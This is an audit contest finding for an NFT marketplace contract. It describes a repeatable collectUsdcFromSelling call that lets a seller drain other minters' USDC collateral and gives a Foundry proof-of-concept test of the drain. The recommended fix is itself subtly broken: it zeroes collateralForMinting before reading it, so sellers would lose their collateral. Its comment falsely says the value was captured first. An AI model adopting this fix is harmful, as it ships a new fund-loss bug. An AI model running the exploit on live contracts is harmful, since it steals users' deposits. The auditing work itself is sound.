NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

H01. Missing "collected" flag in `collectUsdcFromSelling` allows sellers to drain the contract

Author Revealed upon completion

Root + Impact

Description

  • After a sale is completed via buy(), the seller is expected to call collectUsdcFromSelling once to retrieve their sale proceeds and their original minting collateral.

  • The function checks that the listing is inactive but has no guard that prevents it from being called multiple times. collateralForMinting[listing.tokenId] is never zeroed after the first payout and no collected state is recorded. Every subsequent call re-reads the original collateral amount and re-sends the full payout to the seller, draining USDC that belongs to other minters.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
// @> collateralForMinting is read but NEVER zeroed after this call
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
// @> full payout transferred on every call — no state update prevents repeated claims
usdc.safeTransfer(msg.sender, amountToSeller);
// MISSING: collateralForMinting[listing.tokenId] = 0;
// MISSING: s_collected[_listingId] = true; (or equivalent guard)
}

Risk

Likelihood: High

  • Any whitelisted seller whose NFT has been sold can call this function repeatedly with no additional setup or special conditions.

  • The only natural limit is the contract's USDC balance; while other minters have collateral locked, each additional call drains it.

Impact: High

  • The seller extracts listing.price - fees + lockAmount from the contract on every additional call, consuming USDC that belongs to other minters as their locked collateral.

  • With enough repeated calls the entire USDC balance of the contract is drained, permanently preventing every other minter from recovering their 20 USDC deposit.

Proof of Concept

The attack requires other users to have minted NFTs so their collateral is available in the contract. The test below uses two victim minters going through the full mint flow, reflecting realistic on-chain state.

The NFT is priced at 10 USDC so that the per-collect payout (10 - 0.1 fee + 20 collateral = 29.9 USDC) stays below the victim collateral available after the first collect (40.1 USDC), confirming the second call succeeds without reverting.

  1. Seller mints tokenId=1 in setUp, locking 20 USDC collateral.

  2. Two victim users mint NFTs (tokenId=2, tokenId=3), locking 20 USDC each. Contract holds 60 USDC total.

  3. Seller lists tokenId=1 at 10 USDC. Buyer purchases it. Contract holds 70 USDC (60 + 10).

  4. First collectUsdcFromSelling is legitimate: seller receives 10 - 0.1 (fee) + 20 (collateral) = 29.9 USDC. Contract holds 40.1 USDC (0.1 fee + 40 victim collateral).

  5. Second call succeeds: no guard fires, another 29.9 USDC is drained from victim collateral.

function test_doubleCollect_drainsVictimCollateral() public {
uint32 nftPrice = 10e6; // LOW tier (1%) — payout = 10 - 0.1 + 20 = 29.9 USDC per collect
​
// Two victims mint through the normal flow — their collateral is genuinely locked
address victim1 = makeAddr("victim1");
address victim2 = makeAddr("victim2");
usdc.mint(victim1, LOCK_AMOUNT);
usdc.mint(victim2, LOCK_AMOUNT);
vm.prank(owner); nftDealers.whitelistWallet(victim1);
vm.prank(owner); nftDealers.whitelistWallet(victim2);
​
vm.startPrank(victim1);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft(); // tokenId=2, locks 20 USDC
vm.stopPrank();
​
vm.startPrank(victim2);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft(); // tokenId=3, locks 20 USDC
vm.stopPrank();
​
// Contract holds: 20 (seller) + 20 (victim1) + 20 (victim2) = 60 USDC
assertEq(usdc.balanceOf(address(nftDealers)), 60e6);
​
// Seller lists tokenId=1 and a buyer purchases it at 10 USDC
vm.prank(seller);
nftDealers.list(1, nftPrice);
​
vm.startPrank(buyer);
usdc.approve(address(nftDealers), nftPrice);
nftDealers.buy(1);
vm.stopPrank();
​
// Contract now holds 60 + 10 = 70 USDC
assertEq(usdc.balanceOf(address(nftDealers)), 70e6);
​
// First collect — legitimate: seller receives 10 - 0.1 + 20 = 29.9 USDC
vm.prank(seller);
nftDealers.collectUsdcFromSelling(1);
​
uint256 sellerAfterFirst = usdc.balanceOf(seller);
// Contract holds: 70 - 29.9 = 40.1 USDC (0.1 fee + 40 victim collateral)
assertEq(usdc.balanceOf(address(nftDealers)), 40_100_000);
​
// Second collect — no guard fires, 29.9 USDC drained from victim collateral
vm.prank(seller);
nftDealers.collectUsdcFromSelling(1);
​
uint256 sellerAfterSecond = usdc.balanceOf(seller);
// Seller received an extra 29.9 USDC beyond the legitimate payout
assertGt(sellerAfterSecond, sellerAfterFirst);
// victim1 and victim2 can no longer fully recover their 20 USDC collateral each
assertLt(usdc.balanceOf(address(nftDealers)), 40e6);
}

Recommended Mitigation

Add a dedicated s_collected mapping. Zero it and collateralForMinting before any transfer (CEI). Remove the erroneous self-transfer.

+ mapping(uint256 => bool) private s_collected;
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(!s_collected[_listingId], "Already collected");
​
+ // Effects before interactions (CEI)
+ s_collected[_listingId] = true;
+ collateralForMinting[listing.tokenId] = 0;
​
uint256 fees = _calculateFees(listing.price);
- uint256 amountToSeller = listing.price - fees;
- uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ uint256 collateralToReturn = listing.price - fees + collateralForMinting[listing.tokenId];
+ // collateralForMinting already zeroed above; value captured before zeroing in collateralToReturn
​
totalFeesCollected += fees;
- amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
- usdc.safeTransfer(msg.sender, amountToSeller);
+ usdc.safeTransfer(msg.sender, collateralToReturn);
}

Note: the usdc.safeTransfer(address(this), fees) self-transfer is removed here as it is a no-op

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!